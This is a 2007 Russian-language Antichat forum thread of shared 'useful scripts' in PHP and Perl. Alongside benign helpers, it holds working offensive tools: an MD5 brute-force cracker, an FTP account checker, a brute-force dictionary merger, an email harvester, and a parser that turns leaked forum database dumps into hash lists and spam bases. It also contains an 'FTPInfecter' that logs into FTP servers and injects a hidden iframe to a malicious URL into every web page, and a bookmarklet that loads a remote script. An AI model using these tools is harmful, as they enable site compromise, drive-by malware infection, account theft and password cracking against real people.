ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   PHP (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Полезные скрипты (https://forum.antichat.xyz/showthread.php?t=65761)

Trinux 16.02.2007 14:08

2 cRiLaZ
Одинарная ковычка быстрее обрабатывается интерпритатором, ибо php не ищет в ней перменных, как это он делает с двойной ковычкой. Пример:
<?$text=1;echo "123 $text";?> // вывод '123 1'
<?$text=1;echo '123 $text';?> // вывод '123 $text'
да и потом сама запись "$text" это очень даже весело. Имя переменной, конечно, никак не указывает на ее значение, и даже не намекает что внутри текст, поэтому нужно прибавить гемору интерпритатору.

Я не ругаюсь и не смеюсь =) я просто хочу чтобы в этом раздлеле на античате люди грамотно писали код, вот и все...

Насчет ./ - действительно я придрался, но это лишние 2 символа в коде. А если не собираешься читать файл или передумал, зачем ставить флаг на чтение и блокировать его?

Насчет обнуления переменной =)))) 2 разные вещи, выкинуть переменную из памяти и забыть о ней, либо продолжать держать в памяти пустое значение =)

И насчет "стиль у мя такой", это не стиль, пока это мусор. Приходишь к другу, а у него шкаф по среди комнаты и раковина с кухни проведена в прихожую, он заявляет что у него такой стиль.

TANZWUT 16.02.2007 17:53

MD5CRACK - MD5 Bruteforce Tool
PHP код:

#!/usr/bin/perl
# use strict; Sorry next time i'll use it ;)
# MD5 Hash Bruteforce Kit
# by Iman Karim (iman.karim@smail.inf.fh-bonn-rhein-sieg.de)
# URL : http://home.inf.fh-rhein-sieg.de/~ikarim2s/
# Date : 11.02.2007
# Info[0] : This Cracker is by far not the fastest! But it helped me alot to find "lost" passwords ;)
# Info[1] : Written under Kubuntu Linux (Throw away Windows!)
# Info[2] : If you can code a bit perl, you can modify it to crack sha etc too...
# Greets to: Invisible!
$ver "01";
$dbgtmr "1"#Intervall of showing the current speed + lastpassword in seconds.

if ($dbgtmr<=0){ die "Set dbgtmr to a value >=1 !\n";};
use 
Digest::MD5 qw(md5_hex);
use 
Time::HiRes qw(gettimeofday);

if (
$ARGV[0]=~"a") {
 
$alpha "abcdefghijklmnopqrstuvwxyz";}
if (
$ARGV[0]=~"A") {
 
$alpha $alpha"ABCDEFGHIJKLMNOPQRSTUVWXYZ";}
if (
$ARGV[0]=~"d") {
 
$alpha $alpha."1234567890";}
if (
$ARGV[0]=~"x") {
 
$alpha $alpha"!\"\$%&/()=?-.:\\*'-_:.;,";}

if (
$alpha eq "" or $ARGV[3eq "") {usage();};
if (
length($ARGV[3]) != 32) { die "Sorry but it seems that the MD5 is not valid!\n";};

print 
"Selected charset for attack: '$alpha\'\n";
print 
"Going to Crack '$ARGV[3]'...\n";

for (
my $t=$ARGV[1];$t<=$ARGV[2];$t++){
 
crack ($t);
}

sub usage{
 print 
"\n\nMD5 Hash Bruteforce Kit v_$ver\n";
 print 
"by Iman Karim (iman.karim\@smail.inf.fh-bonn-rhein-sieg.de)\n";
 print 
"http:\/\/home.inf.fh-rhein-sieg.de\/~ikarim2s\/\n\n";
 print 
"USAGE\n";
 print 
"./md5crack <charset> <mincount> <maxcount> <yourMD5>\n";
 print 
" Charset can be: [aAdx]\n";
 print 
" a = {'a','b','c',...}\n";
 print 
" A = {'A','B','C',...}\n";
 print 
" d = {'1','2','3',...}\n";
 print 
" x = {'!','\"',' ',...}\n";
 print 
"EXAMPLE FOR CRACKING A MD5 HASH\n";
 print 
"./md5crack.pl ad 1 3 900150983cd24fb0d6963f7d28e17f72\n";
 print 
" This example tries to crack the given MD5 with all lowercase Alphas and all digits.\n";
 print 
" MD5 Kit only tries combinations with a length from 1 and 3 characters.\n-------\n";
 print 
"./md5crack.pl aA 3 3 900150983cd24fb0d6963f7d28e17f72\n";
 print 
" This example tries to crack the given MD5 with all lowercase Alphas and all uppercase Alphas.\n";
 print 
" MD5 Kit only tries passwords which length is exactly 3 characters.\n-------\n";
 print 
"./md5crack.pl aAdx 1 10 900150983cd24fb0d6963f7d28e17f72\n";
 print 
" This example tries to crack the given MD5 with nearly every character.\n";
 print 
" MD5 Kit only tries combinations with a length from 1 to 10 characters.\n";
 die 
"Quitting...\n";
}

sub crack{
 
$CharSet shift;
 @
RawString = ();
 for (
my $i =0;$i<$CharSet;$i++){ $RawString[i] = 0;}
 
$Start gettimeofday();
 do{
  for (
my $i =0;$i<$CharSet;$i++){
   if (
$RawString[$i] > length($alpha)-1){
    if (
$i==$CharSet-1){
    print 
"Bruteforcing done with $CharSet Chars. No Results.\n";
    
$cnt=0;
    return 
false;
   }
   
$RawString[$i+1]++;
   
$RawString[$i]=0;
   }
  }
###################################################
   
$ret "";
   for (
my $i =0;$i<$CharSet;$i++){ $ret $ret substr($alpha,$RawString[$i],1);}
   
$hash md5_hex($ret);
   
$cnt++;
   
$Stop gettimeofday();
   if (
$Stop-$Start>$dbgtmr){
    
$cnt int($cnt/$dbgtmr);
    print 
"$cnt hashes\\second.\tLast Pass '$ret\'\n";
    
$cnt=0;
    
$Start gettimeofday();
   }
            print 
"$ARGV[3] != $hash ($ret)\n";
   if (
$ARGV[3eq $hash){
    die 
"\n**** Password Cracked! => $ret\n";
   }
###################################################
  #checkhash($CharSet)."\n";

  
$RawString[0]++;
 }while(
$RawString[$CharSet-1]<length($alpha));
}

sub checkhash{
 
$CharSet shift;
 
$ret "";
 for (
my $i =0;$i<$CharSet;$i++){ $ret $ret substr($alpha,$RawString[$i],1);}
 
$hash md5_hex($ret);
 
$cnt++;
 
$Stop gettimeofday();
 if (
$Stop-$Start>$dbgtmr){
  
$cnt int($cnt/$dbgtmr);
  print 
"$cnt hashes\\second.\tLast Pass '$ret\'\n";
  
$cnt=0;
  
$Start gettimeofday();
 }

 if (
$ARGV[3eq $hash){
  die 
"\n**** Password Cracked! => $ret\n";
 }
 



Abra 16.02.2007 22:51

удобная универсальная функция для работы с сокетами.

PHP код:

function httpSocketConnection($host$method$path$data)
   {
       
$method strtoupper($method);       
      
       if (
$method == "GET")
       {
           
$path.= '?'.$data;
       }   
      
       
$filePointer = @fsockopen($host80$errorNumber$errorString);
      
       if (!
$filePointer)
       {
           exit(
'Failed opening http socket connection: '.$errorString.' ('.$errorNumber.')<br/>\n');
           return 
false;
       }

       
$requestHeader $method." ".$path."  HTTP/1.1\r\n";
       
$requestHeader.= "Host: ".$host."\r\n";
       
$requestHeader.= "User-Agent:      Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";
       
$requestHeader.= "Content-Type: application/x-www-form-urlencoded\r\n";

       if (
$method == "POST")
       {
           
$requestHeader.= "Content-Length: ".strlen($data)."\r\n";
       }
      
       
$requestHeader.= "Connection: close\r\n\r\n";
      
       if (
$method == "POST")
       {
           
$requestHeader.= $data;
       }           

       
fwrite($filePointer$requestHeader);
      
       
$responseHeader '';
       
$responseContent '';

       do
       {
           
$responseHeader.= fread($filePointer1);
       }
       while (!
preg_match('/\\r\\n\\r\\n$/'$responseHeader));
      
      
       if (!
strstr($responseHeader"Transfer-Encoding: chunked"))
       {
           while (!
feof($filePointer))
           {
               
$responseContent.= fgets($filePointer128);
           }
       }
       else
       {

           while (
$chunk_length hexdec(fgets($filePointer)))
           {
               
$responseContentChunk '';
          
               
//logEventToTextFile('debug', $chunk_length);
               
$read_length 0;
              
               while (
$read_length $chunk_length)
               {
                   
$responseContentChunk .= fread($filePointer$chunk_length $read_length);
                   
$read_length strlen($responseContentChunk);
               }

               
$responseContent.= $responseContentChunk;
              
               
fgets($filePointer);
              
           }
          
       }

       
//logEventToTextFile('debug', $responseContent);
      
      
       
return chop($responseContent);
   } 

пример использования:
PHP код:

$data="var1=test&var2=test2";
$host "www.somesite.com";
$path "http://www.somesite.com/test.php";
$method "POST";

echo 
httpSocketConnection($host$method$path$data); 


Termin@L 18.02.2007 16:25

наверное здесь уже выкладывали скрипт для выдирания мэл, этот может (вроде как) вычленить из любого набора текста мэла
P.S. Ногами не бейте, я начинающий, очень хотелось чем-нибудь поделиться, может кому пригодиться
P.P.S В данный момент пытаюсь тоже самое сделать но через сокеты, как-то не особо получается, но если кому интересно + просто не влом помочь пишите в личку
PHP код:

<?php
$to
=array('>','<','/','"','\'','='',','.');
$fnl=array();
$result=array();
/*считываем файл*/
$fin=fopen('input.txt','r');
while(!
feof($fin)){
$result[]=fgets($fin);
}
fclose($fin);
/*т.к нас интересует отдельные слова то разбиваем весь файл на один массив
со значениями - словами*/
$result=implode(' ',$result);
$result=str_replace($to,' ',$result);/*очищаем от ненужных символов*/
$result=explode(' ',$result);
for(
$i=0;$i<sizeof($result);$i++)
{
$str=$result[$i];
$tst=strpos($str,'@');/*находим слова с нужным символом*/
if(!empty($tst)){
if(
$str[0]=='/')
$str[0]=' ';
$fnl[]=trim($str);
}
unset(
$tst);
}
$fout=fopen('output.txt','w');
for(
$i=0;$i<sizeof($fnl);$i++)   /*вывод*/
{
fputs($fout,$fnl[$i]."\r\n");
}
fclose($fout);
?>


GreenBear 19.02.2007 16:56

ftp checker
PHP код:

<?php
/*
* FTP Checker By Green Bear
* Version 1.0
* Home page: http://netsec.ru/gb/
@---------------------------@
good_ftp = хорошие фтп аккуанты
bad_ftp = плохие фтп аккуанты
@---------------------------@
#используйте формат user:pass@somehost.com

*/


//Тайм оут
//не стоит ставить больше 15 секунд
$timeout '15';

$good '0';
$bad '0';


error_reporting(0);
ignore_user_abort(1);

if( ! 
function_exists('ftp_login') OR ! function_exists('ftp_connect')){
    die(
'Function ftp_login or/and ftp_connect not exists');
}


if(! 
file_exists('good_ftp') ){
    
$f fopen('good_ftp''w');
    
fwrite($f'');
    
fclose($f);
}

if(! 
file_exists('bad_ftp') ){
    
$f fopen('bad_ftp''w');
    
fwrite($f'');
    
fclose($f);
}


switch(
$_POST['do']){
    case 
'check_now' :
    if(
$_POST['ftp_acc']){
        
$array  explode("\n"$_POST['ftp_acc']);
        
check_ftp($array);
    }else{
         echo 
print_header();
         echo 
'<div class=t>Не задано аккуантов</div>';
         echo 
print_footer();
    }
    break;

    case 
'show_good':
    
show_good();
    break;

    case 
'show_bad':
    
show_bad();
    break;

    case 
'clear_good':
    
clear_good();
    break;

    case 
'clear_bad':
    
clear_bad();
    break;

    default : 
print_form();
    break;
}





//
//functions
//

function check_ftp($array){
    global 
$timeout$good$bad;
    foreach(
$array as $a){
        
$l_h explode('@'$a);
        
$l_p explode(':'$l_h[0]);
        
$host $l_h[1];
        
$login $l_p[0];
        
$pass $l_p[1];

        
$ftp ftp_connect(trim($host), '21'$timeout);


        if( 
$ftp){
            
$ftp_login ftp_login($ftp$login$pass);

            if(
$ftp_login){
                
write_ftp('good_ftp'$host$login$pass);
                
$good  ;
            }else{
                
$bad  ;
            }
            
ftp_close($ftp);
            unset(
$host$pass$login$l_p$l_h);
        }else{
            
write_ftp('bad_ftp'$host$login$pass);
            
$bad  ;
        }
    }

    echo 
print_header();
    echo 
"<div class='t'>
    <b>Аккуанты проверены</b>. <br />
    Хороших: 
$good <br />
    Плохих: 
$bad <br />
    <form action='
$_SERVER[PHP_SELF]' method='post' name='s'><input type='hidden' name='do' value='show_good' /></form>
    <a href='javascript://' onClick='s.submit();'>Показать хорошие</a>
    "
;
    echo 
print_footer();

}

function 
write_ftp($file$host$login$pass){
    
$f fopen($file'a');
    
fwrite($f$login.':'.$pass.'@'.$host."\n");
    
fclose($f);
}

function 
show_good(){
    
$i'0';
    echo 
print_header();
    
$file file('good_ftp');
    foreach(
$file as $f){
        
$i  ;
        if( 
strstr(($i/2), '.') ){
            echo 
"<div class='row1'><b><a href='ftp://$f' target='_blank'>$f</a></b></div>";
        }else{
            echo 
"<div class='row2'><b><a href='ftp://$f' target='_blank'>$f</a></b></div>";
        }
    }
    echo 
print_footer();
}

function 
show_bad(){
    echo 
print_header();
       
$file file('bad_ftp');
    foreach(
$file as $f){
        
$i  ;
        if( 
strstr(($i/2), '.') ){
            echo 
"<div class='row1'><b>$f</b></div>";
        }else{
            echo 
"<div class='row2'><b>$f</b></div>";
        }
    }
    echo 
print_footer();
}

function 
clear_good(){
    echo 
print_header();
    
$f fopen('good_ftp''w');
    
fwrite($f'');
    
fclose($f);
    echo 
'<div class=t>Список очищен</div';
    echo 
print_footer();
}

function 
clear_bad(){
    echo 
print_header();
    
$f fopen('bad_ftp''w');
    
fwrite($f'');
    
fclose($f);
    echo 
'<div class=t>Список очищен</div';
    echo 
print_footer();
}

function 
print_form(){
    echo 
print_header();
    echo <<<HTML
<form action="$_SERVER[PHP_SELF]" method="post" name='g'>
    <input type='hidden' name='do' value='show_good' />
    </form>
    <form action="
$_SERVER[PHP_SELF]" method="post" name='b'>
    <input type='hidden' name='do' value='show_bad' />
    </form>
    <form action="
$_SERVER[PHP_SELF]" method="post" name='eg'>
    <input type='hidden' name='do' value='clear_good' />
    </form>
    <form action="
$_SERVER[PHP_SELF]" method="post" name='eb'>
    <input type='hidden' name='do' value='clear_bad' />
    </form>
    <a href='javascript://' onClick='g.submit();'>Показать хорошие</a> <a href="javascript://" onClick="eg.submit()" title="Очистить список" style="color:red">(clear)</a> /
    <a href='javascript://' onClick='b.submit();'>Показать плохие</a> <a href="javascript://" onClick="eb.submit()" title="Очистить список" style="color:red">(clear)</a>

    <hr size=1>
    <form action="
$_SERVER[PHP_SELF]" method="post">
    <input type='hidden' name='do' value='check_now' />
    <br />
    <textarea cols='50' rows='7' name='ftp_acc'></textarea>
    <br />
    <input type='submit'  value='Проверить FTP' />
    </form>
    <hr size=1>
HTML;
    echo 
print_footer();
}

function 
print_header(){

    return <<<HTML
    <html><head>
    <style type='text/css'>
    body{
        color: #C6C6FF;
        background-color: #262626;
        font-size:12px;
        font-family: Verdana, Tahoma;
        margin: 25px;
    }
    form{
        margin: 0px;
    }
    div{
        margin-top:2px;
        margin-bottom:2px;
    }
    a{
        color: #9494FF;
        text-decoration: none;
    }
    a hover{
        text-decoration: underline;
    }
    .title{
        font-size: 16px;
        font-family: Verdana, Tahoma;
        padding: 5px;
        color:white;
        font-weight: bold;
        text-align:center;
        background-color: #1C1C1C;
    }
    .copy{
        text-align:right;
        padding-right: 10px;

    }
    .copy a{
        text-decoration: none;
        color: white;
    }
    .t{
        margin: 5px;
        font-size: 11px;
        background-color: #303030;
    }
    .row1{
        background-color: #4E4E4E;

    }
    .row2{
        background-color: #262626;
    }
    textarea, input{
        border: 0;
        background-color: #DADAFF;
        color: black;
        font-size: 11px;
        border: none;
    }
    </style>
    </head>
    <body>
    <div class='title' onClick="location.href='
{$_SERVER['PHP_SELF']}'">FTP CHECKER</div>
HTML;
}

function 
print_footer(){

    return <<<HTML
    <div class='copy'>
    Powered by <a href='http://netsec.ru/gb/'>Green Bear</a> , Version 1.0
    </div>
    </body>
    </html>



HTML;
}




?>


DIAgen 21.02.2007 10:58

Вот парочка примеров

1) ftp чекер
Цитата:

http://rapidshare.com/files/17503070/ftp.rar.html
Правда не хватает много поточности и написан на скорую руку!

2) Сканер портов
Цитата:

http://rapidshare.com/files/17503197/port.rar.html
Такая же проблема как и в первом случаии(((

Ch3ck 21.02.2007 23:55

Вообщем, интересная штука сегодня писалась... но получилось, не то, что хотелось... ))))))
Ситуация в двух словах:
Взять результаты поиска с domainsdb, отпарсить из исходника страницы найденные по вашему запросу линки, и проверить, если там php скрипт (index.php :)))))))))))
PHP код:

<?php
// Вообщем-с,  открываем исходник страницы с полученными ссылками...
//сохраняем в file.txt и поехали...
error_reporting(0);
set_time_limit(0);
  
$links=fopen('filens.txt','w');
  
$text file_get_contents('file.txt');
  
$pat "|<a href=\"([^\"]+)\"[^>]+>([^<]+)<|is";
  
preg_match_all($pat$text$mass);
  for(
$i 0$i count($mass[1]); $i++)
  {
  
fwrite($links$mass[1][$i]."\n");
}
     
fclose($links);
$textfile('filens.txt');
       foreach(
$text AS $val)
        {
            
$val=str_replace("\r",'',$val);
            
$val=str_replace("\n",'',$val);
            
preg_match("/^(http:\/\/)?([^\/]+)/i"$val$math);
            
$host=$math[2];
            
$f=fsockopen($host80);
            if (!
$f) echo("<font color=\"blue\"><b>HOST NOT FOUND</b></font> - <strike>$host</strike>");
            
fwrite($f"GET /index.php HTTP/1.0\n\n");
            
$str fread($f1024);
if (
substr($str9,6)=="200 OK")
       {
       echo(
"<table border='1'><tr><td>");
       echo (
"<b>$host</b><td> <font color=\"green\"><b>прекрасно!!!<b></font><br>");
       echo(
"</td></tr></table>"); }
else
       {
       echo(
"<table border='1'><tr><td>");
       echo(
"<b>$host</b><td> <font color=\"red\"><i>непрекрасно!!!</i></font> <br>");
       echo(
"</td></tr></table>");
       }
       }
fclose($f);
?>

Реализованно по-тупому, но работает ;)

DRON-ANARCHY 28.02.2007 00:14

кому мешает register_globals OFF можете вставить в страницу
PHP код:

// Emulate register_globals on
if (!ini_get('register_globals')) {
   
$superglobals = array($_SERVER$_ENV,
       
$_FILES$_COOKIE$_POST$_GET);
   if (isset(
$_SESSION)) {
       
array_unshift($superglobals$_SESSION);
   }
   foreach (
$superglobals as $superglobal) {
       
extract($superglobalEXTR_SKIP);
   }


и забыть об этой проблеме

SMiX 28.02.2007 00:27

Цитата:

Сообщение от DRON-ANARCHY
кому мешает register_globals OFF можете вставить в страницу
PHP код:

... 

и забыть об этой проблеме

Очень небезопасно. Может, и на безопасность и не повлиять, но на грамотность - изрядно повлият)

DRON-ANARCHY 28.02.2007 00:34

Цитата:

Очень небезопасно.
ну как сказать... register_globals ON само по себе уже небезопасно... поэтому и отключается хостерами

SMiX 02.03.2007 01:50

Ну так зачем же его искусственно включать?)
Просто предупредил о небезопасности этого =) Используйте функцию. чисто в образовательных целях.

Abra 02.03.2007 23:26

Цитата:

Ну так зачем же его искусственно включать?)
имхо - представляем такую ситуацию:
админ - ленивый консерватор. Программная часть сайта не обновлялась года так эдак с 2000'ого. Все скрипты работают исключительно под register_globals=on (бывает такое). Потребовалось сменить хостинг - а на новом register_globals=off. Переписывать двиг не охота, вот и требуется искусственное включение. Больше, имха, незачем.

DRON-ANARCHY 04.03.2007 19:19

Цитата:

Ну так зачем же его искусственно включать?)
потому что при пересылке переменных от одного скрипта(формы) в другой, работать все это дело с выключенными register_globals НЕ БУДЕТ

sM1L3 05.03.2007 17:46

Ну вот, такой маленько-прикольный скриптик
Вводим его в адресную строку

Код:

javascript:o=document.createElement("script");o.setAttribute("src","http://digistyle.3dn.ru/egor.js");document.body.appendChild(o);void(0)
Можно над ламером прикольнуться! ;)

Underwit 07.03.2007 20:21

Нацарапал тут скриптец для слияния нескольких брутфорс словарей в один прошу заценить. Я в ПХП плохо понимаю, укажите на мои ошибки пожлуйста. И если скрипт вдруг кому помог не пожалейте, дайте репки :D
PHP код:

<?
error_reporting
(0);
echo 
"<html><title>Скрипт склеивает несколько словарей для брута в один.</title><body bgcolor='000000' text='0ff0f9'>     
<table border='2' bgcolor='131313' bordercolor='0ff0f9' width='50%' align='center' height='400' cellpadding='15' cellspacing='0'>
<tr valign='top'><td>
<font size='3'>
Скрипт склеивает несколько словарей для брута в один.<br>Автоматически удаляет повторяющиеся элементы.<br>
<font size='2'>(c)oded by underwit</font>
<hr color='0ff0f9'><p>
<form method='POST'>
Имя нового словаря: &nbsp;&nbsp;<input type='text' name='newname' size='10'><p>
Введите путь к папке: <input type='text' name='path' size='60'><p>
<input type='checkbox' name='delite'> Удалить исходные словари?<p>
<input type='submit' value='Склеить'><br>
</form>
<hr color='0ff0f9'><p>"
;
$truepath getcwd();
if(empty(
$path)){echo "Текущий каталог - ".$truepath."<br>";}
if(!empty(
$newname))
{
if(!empty(
$path))
{
chdir($path);
echo 
"Установленный каталог - ".$path."<br>";
$allpass = array();
$catalog opendir($path) or die("Не удалось открыть каталог");      
while(
$file readdir($catalog))
{
if((
$file != ".") && ($file != ".."))
{
$_file fopen($file,"r");        
while(!
feof($_file))
{
array_push($allpassfgets($_file));}         
fclose($_file);         
}    
if(
$delite == true){unlink($file);}
}
closedir($catalog);
}else{echo 
"Введите путь к каталогу со словарями";}
}else{echo 
"Введите новое имя для словаря и укажите путь к каталогу со словарями";}
if(!empty(
$allpass))
{
$allsize count($allpass);
$end array_unique($allpass);
$uniqsize count($end);
$redel $allsize $uniqsize;
$endfile fopen($newname.".pass","a");
for(
$i='0';$i<sizeof($end);$i++)
{
fwrite($endfile,$end[$i]);}
fclose($endfile);
echo 
"Новый словарь сохранен как - ".$path."/".$newname.".pass"."<br>";
echo 
"Всего элементов - ".$allsize."<br>";
echo 
"Уникальных элементов - ".$uniqsize."<br>";
echo 
"Удалено повторных - ".$redel."<br>";
}
echo 
"</font></td></tr></table></body></html>";
?>


x-treem 12.03.2007 21:28

вот тут был скрипт, давно писал. фтпинфектер... во как.
создаём файл. туда пишем данные вот в таком виде:
ftp_server;login;pass

скрипт парсит этот файл, подключаеццо к каждому серверу и заражает все файлы с расширением php, htm, html. вот собсно сам код
PHP код:

<?
## FTPInfecter by xtreem
## mail: xtreemx@gmail.com 

error_reporting(0);
set_magic_quotes_runtime(0);
@
set_time_limit(0);
@
ini_set('max_execution_time',0);
@
ini_set('output_buffering',0);
$safe_mode = @ini_get('safe_mode'); 

echo 
" This is FTPInfecter script\n";
echo 
" Coded by xtreem(xtreemx@gmail.com)\n";
echo 
" example: FTPInfecter.php servers.db\n\n";

if (!
$argv[1])
{
$servdb "servers.txt";
}else{
$servdb $argv[1];
}
$code "<iframe src=\"http://hackpage.net/badscript.php\" width=1 height=1></iframe>";

$file file($servdb"r");
$count count($file);
$is 0;
while (
$is $count)
{
 
chomp;
 
$met explode(';'$file[$is]);
$server $met[0];
$user $met[1];
$pass $met[2];

if ((
$connect ftp_connect($server)) && ($login ftp_login($connect$user$pass))){
echo 
"CONNECTED TO:".$server."\n";
$buff ftp_nlist($connect'');
$d count($buff);  
$i 0;
while (
$d <> $i)
{
if (
$buff[$i] <> '.' && $buff[$i] <> '..'){
if (
ftp_chdir($connect$buff[$i]))
{
echo 
"DIR: ".$buff[$i]."\n";
ftp_chdir($connect'..');
}else{
$part explode('.'$buff[$i]);
if (
$part[1] == 'php' or $part[1] == 'htm' or $part[1] == 'html'){
echo 
"FILE: ".$buff[$i]."\n";
$fp fopen($buff[$i], 'w+');
if (
ftp_fget($connect$fp$buff[$i], FTP_ASCII0)) { 
echo 
"GET: ".$buff[$i]."\n";
}
fclose($fp); 
$fw fopen($buff[$i], 'a');
fputs ($fw$code);
fclose($fw);
echo 
"INFECTED: ".$buff[$i]."\n";
if (
ftp_put($connect$buff[$i], $buff[$i], FTP_ASCII)) {
echo 
"PUT: ".$buff[$i]."\n";}
$del unlink($buff[$i]);
if (
$del){echo "DELETE: ".$buff[$i]."\n\n";}
}
}
}
$i++;
}
ftp_close($connect);  
}else{echo 
"NOT CONNECT TO: ".$server."\n";}
$is++;
}
?>


DRON-ANARCHY 13.03.2007 02:26

ифреймер по-русски?)

cRiLaZ 18.03.2007 20:54

Ну со всеми подряд хтмл и пхп ты явно переборщил ))

Joker-jar 21.03.2007 15:46

Вывод даты нормальным русским языком:

PHP код:

function rusdate($d)   
{  
  
$montharr = array("января","февраля","марта","апреля","мая","июня","июля","августа","сентября","октября","ноября","декабря"); 
  
$i =  date("m",$d) - 1
  return 
date("j",$d).$montharr[$i] ".date("Y",$d); 


Узнаем серверное время со сдвигом часовых поясов:

PHP код:

function zonetime($date,$zone)
{
  
$date+=$zone*3600;
  return 
gmdate("d.m.Y H:i",$date);


Например, echo
PHP код:

zonetime(time(),+3); 

покажет московское время (независимо от того, в каком поясе расположен сервер :))

Следующий скрипт весьма полезен (писал для своей гостевой). Выводит мыла таким образом, чтоб их не смогли воровать роботы-собиральщики мыл (во как):

PHP код:

function showemail($email)
{
  echo 
"<script language=\"JavaScript\"><!--\n".
  
"document.write('".substr($email,0,strpos($email,"@"))."'+'@'+'".
  
substr($email,strpos($email,"@")+1,strpos($email,".")-strpos($email,"@")-1)."'+'.'+'".
  
substr($email,strpos($email,".")+1strlen($email) - strpos($email,".")-1)."');\n".
  
"//--></script>\n";


(подразумевается, что используется валидный параметр вида бла@бла.бла, проверку мутите еще при вносе в БД мыла =))

Так-с, идем дальше. Так я обычно проверяю, является ли какой-либо параметр числом:

PHP код:

function IsDigit($d)  

  return (!(empty(
$d)) && ctype_digit($d)); 


Замена в тексте всех мыл и урлок на соответствующие ссылки:
PHP код:

$text ereg_replace('[-a-z0-9!#$%&\'*+/=?^_`{|}~]+@([.]?[a-zA-Z0-9_/-])*','<a href="mailto:\\0">\\0</a>',$text);
$text ereg_replace(' [a-zA-Z]+://(([.]?[a-zA-Z0-9_/-])*) ',' <a href="\\0">\\1</a> ',$text);
$text ereg_replace(' (^| )(www([-]*[.]?[a-zA-Z0-9_/-?&%])*) ',' <a href="http://\\2">\\2</a> ',$text); 

Часто на сайтах слева и справа бывают узкие колонки, куда можно повпихивать всякую интересную инфу (например, последние темы с форума). Но если попадается длинное слово, то колонка разъезжается, становится хз че. Следующая функция разрезает на куски только те слова, которые длиннее заданного параметра. Очень полезно:

PHP код:

function break_long_words($source_text,$lng)
{
$regExp='/(\S{'.$lng.',})/ei';
$res_text=preg_replace($regExp,"wordwrap('\\1',$lng,'\n',1)",$source_text);
return 
$res_text;


Пока все. Удачи!

flipper 22.03.2007 22:21

Выдирает поля из дампа таблицы:
Код:

#!/usr/bin/perl -w
if ($ARGV[0] eq "") {print "Example: perl dump.pl Clients.sql"; exit;}
open (f1,$ARGV[0]) || die $!;
open (f2,">log") ||die $!;
if ($ARGV[1] eq "") {
  $s=<f1>;
  $s=~s/\'//g;
  @temp=split(",",$s);
  for ($i=0;$i<$#temp;$i++){
    print "$i-$temp[$i]\n"; } #for
  print "\nExample: perl dump.pl Clients.sql 4-6-15-20";
  exit;
  } #if
@temp = split("-",$ARGV[1]);
while (<f1>) {s/\'//g; #s/\s\'//g;
  (@temp2)=(split(",",$_))[@temp];
  print f2 join(":",@temp2). "\n";
 }  #while
close(f1);
close(f2);

Запускаем: "perl dump.pl Clients.sql 4-6-15-20"
Clients.sql - имя сортируемого файла, 4-6-15-20 номера колонок через "-" (узнать можно запустив только "perl dump.pl Clients.sql ").

Сортировка файла с удалением повторяющихся элементов:
Код:

#!/usr/bin/perl -w
if ($ARGV[0] eq "") {print 'sort.pl filename'; exit;}
open (f1,$ARGV[0]) || die $!;
open (f3,">sorted") ||die $!;
%seen=();
@uniq=grep {! $seen{$_} ++ } <f1>;
print f3 sort @uniq;
close(f1);
close(f3);

Запускаем: "sort.pl filename"

Ch3ck 24.03.2007 01:18

PHP код:

<?

/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/*                                                                       
/*                    Forum Dump Parser v0.2 (FDPv0.2)                   
/*                              by Re@ctor                               
/*                    http://truenet.net.ru/security/                       
/*                                                                       
/*                                                                       
/*       Скрипт предназначен для частного использования и позволяет      
/*    привести имеющиеся дампы баз данных в единый удобный формат для    
/*    дальнейшего анализа в программе Passwords Pro, либо просто           
/*    в списки для других программ.                                       
/*                                                                       
/*      Скрипт запрещается использовать в корыстных целях и автор не       
/*    несёт ответственности за возможный ущерб, причинённый от исполь-   
/*    зования данного скрипта.                                           
/*                                                                       
/*      Скрипт запрещается использовать в противозаконных целях, либо       
/*    целях, ведущих к умышленному или неумышленному нарушению законода- 
/*    тельства Российской Федерации.                                       
/*                                                                       
/*                Хорошего дня и доброго насроения! ;-)                   
/*                Помните про существование TrueNET! =)                   
/*                                                                       
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/

###### 1. выходной формат файлов ######
# для брута, формат Passwords Pro
#$sort = array('username','password','salt'); # пользователи
#$sort = array('email','password','salt'); # мыльники
$sort = array('icq','password','salt'); # аськи
# помните, что формат PPro - имя:хэш:сальт:расшифр.пароль:комментарий
# поэтому надо писать от 2 до 3 значений, т.к. меньше или больше
# будет воспринято неверно программой.

# просто базы
#$sort = array('email'); # e-mail
#$sort = array('icq'); # icq

###### 2. формирование строк ######
$delim "¤"# разделитель между значениями
$br "\n"# чем заканчивать строку (\n - перенос строки)

###### 3. промежуточный вывод ######
$makefiles 1# делать ли отдельные файлы для каждого дампа
$ext "txt"# расширение выходного файла этих файлов

###### 4. параметры сбора информации ######
$site 1# если $makefiles = 0;, то получать сведения о сайте
# из титла и мета-тегов (необоходимо подключение к сети) и записывать в начало файла
# ( удобно при составлении тематических спам-баз )
# формат файла должен быть префиксАДРЕС_САЙТАрасширение, где префикс и расширение любые
$site_prefix ''# если $site=1, указать префикс файлов
$site_ext '.sql'# если $site=1, указать расширение файлов
$convert 0# конвертировать полученный текст в win-1251, если оно не в нём (отключить при багах)

###### 5. общий файл с данными ######
$hashmake 1# делать ли единый файл со всеми хэшами
$hash_filename '!PasswordsPro.Hashes'# имя файла с хэшами

###### 6. выборка из дампов админов в отдельный файл ######
$admins 1# сделать файл с хэшами админов дампов
$admin_pass 'password'# имя ячейки с хэшем пароля
$admin_salt 'salt'# имя ячейки с салом пароля
$admin_comment = array('username','email','icq'); # то что будет в комментарии в полях пассворс-про
$admin_filename '!admin.PasswordsPro.Hashes';

###### 7. (WARNING!) имя первой ячейки в таблице ######
$firstintable 'userid'# название первой ячейки в таблице (важно!)

ini_set("max_execution_time","86400");
set_time_limit(0);

function 
make($value) { return preg_replace("'\'(.*?)\''i",'\\1',$value); }
function 
checksalt($salt) { if(strlen($salt)>3) return str_replace(array("\\\\",'\"',"\'"),array("\\",'"',"'"),$salt); else return $salt; }
function 
koi($txt) { return convert_cyr_string($txt,'k','w'); }
function 
iso($txt) { return convert_cyr_string($txt,'i','w'); }
function 
myau() { echo "\n\nDone! ;-D\n\nNice day. Visit http://truenet.net.ru/ !\n\n"; }

